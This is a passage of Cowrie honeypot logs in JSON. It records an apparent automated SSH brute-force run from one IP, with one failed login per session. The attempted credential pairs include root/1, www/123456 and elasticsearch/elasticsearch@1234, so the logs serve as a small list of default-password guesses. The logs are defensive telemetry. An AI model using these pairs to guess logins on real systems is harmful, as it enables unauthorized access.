fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:28.177301Z","src_ip":"192.109.200.237","session":"4203911c6f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:28.427392Z","src_ip":"192.109.200.237","session":"4203911c6f9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:29.513356Z","src_ip":"192.109.200.237","session":"4203911c6f9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47216,"dst_ip":"159.203.135.109","dst_port":22,"session":"3be19c57ac29","protocol":"ssh","message":"New connection: 192.109.200.237:47216 (159.203.135.109:22) [session: 3be19c57ac29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:31.284206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:31.288467Z","src_ip":"192.109.200.237","session":"3be19c57ac29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:31.369959Z","src_ip":"192.109.200.237","session":"3be19c57ac29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:31.620057Z","src_ip":"192.109.200.237","session":"3be19c57ac29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:32.770497Z","src_ip":"192.109.200.237","session":"3be19c57ac29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47220,"dst_ip":"159.203.135.109","dst_port":22,"session":"65d56f500904","protocol":"ssh","message":"New connection: 192.109.200.237:47220 (159.203.135.109:22) [session: 65d56f500904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:34.420043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:34.424469Z","src_ip":"192.109.200.237","session":"65d56f500904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:34.506666Z","src_ip":"192.109.200.237","session":"65d56f500904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:34.808478Z","src_ip":"192.109.200.237","session":"65d56f500904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:35.894059Z","src_ip":"192.109.200.237","session":"65d56f500904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47234,"dst_ip":"159.203.135.109","dst_port":22,"session":"f236636fd42c","protocol":"ssh","message":"New connection: 192.109.200.237:47234 (159.203.135.109:22) [session: f236636fd42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:37.676411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:37.681301Z","src_ip":"192.109.200.237","session":"f236636fd42c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:37.763466Z","src_ip":"192.109.200.237","session":"f236636fd42c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuply","password":"123456","message":"login attempt [backuply/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:38.017894Z","src_ip":"192.109.200.237","session":"f236636fd42c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:39.103129Z","src_ip":"192.109.200.237","session":"f236636fd42c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49730,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0c0376bfdf8","protocol":"ssh","message":"New connection: 192.109.200.237:49730 (159.203.135.109:22) [session: c0c0376bfdf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:40.825836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:40.830896Z","src_ip":"192.109.200.237","session":"c0c0376bfdf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:40.913385Z","src_ip":"192.109.200.237","session":"c0c0376bfdf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:41.160558Z","src_ip":"192.109.200.237","session":"c0c0376bfdf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:42.245247Z","src_ip":"192.109.200.237","session":"c0c0376bfdf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.221718549728394,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:42.663051Z","src_ip":"192.119.13.58","session":"ea01fdb6951e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49754,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3ed9968401c","protocol":"ssh","message":"New connection: 192.109.200.237:49754 (159.203.135.109:22) [session: c3ed9968401c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:43.933886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:43.941221Z","src_ip":"192.109.200.237","session":"c3ed9968401c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:44.022625Z","src_ip":"192.109.200.237","session":"c3ed9968401c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:44.389477Z","src_ip":"192.109.200.237","session":"c3ed9968401c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:45.473952Z","src_ip":"192.109.200.237","session":"c3ed9968401c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49774,"dst_ip":"159.203.135.109","dst_port":22,"session":"edfe3d7071f2","protocol":"ssh","message":"New connection: 192.109.200.237:49774 (159.203.135.109:22) [session: edfe3d7071f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:47.279860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:47.283846Z","src_ip":"192.109.200.237","session":"edfe3d7071f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:47.366683Z","src_ip":"192.109.200.237","session":"edfe3d7071f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:47.615505Z","src_ip":"192.109.200.237","session":"edfe3d7071f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:48.701235Z","src_ip":"192.109.200.237","session":"edfe3d7071f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32914,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd30457aa1cd","protocol":"ssh","message":"New connection: 192.109.200.237:32914 (159.203.135.109:22) [session: dd30457aa1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:50.455740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:50.464388Z","src_ip":"192.109.200.237","session":"dd30457aa1cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:50.546700Z","src_ip":"192.109.200.237","session":"dd30457aa1cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:50.792646Z","src_ip":"192.109.200.237","session":"dd30457aa1cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:51.877604Z","src_ip":"192.109.200.237","session":"dd30457aa1cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32938,"dst_ip":"159.203.135.109","dst_port":22,"session":"08009f97c9b8","protocol":"ssh","message":"New connection: 192.109.200.237:32938 (159.203.135.109:22) [session: 08009f97c9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:53.715484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:53.720359Z","src_ip":"192.109.200.237","session":"08009f97c9b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:53.802644Z","src_ip":"192.109.200.237","session":"08009f97c9b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:54.049046Z","src_ip":"192.109.200.237","session":"08009f97c9b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:55.134310Z","src_ip":"192.109.200.237","session":"08009f97c9b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32966,"dst_ip":"159.203.135.109","dst_port":22,"session":"149118646d9f","protocol":"ssh","message":"New connection: 192.109.200.237:32966 (159.203.135.109:22) [session: 149118646d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:56.881360Z"}
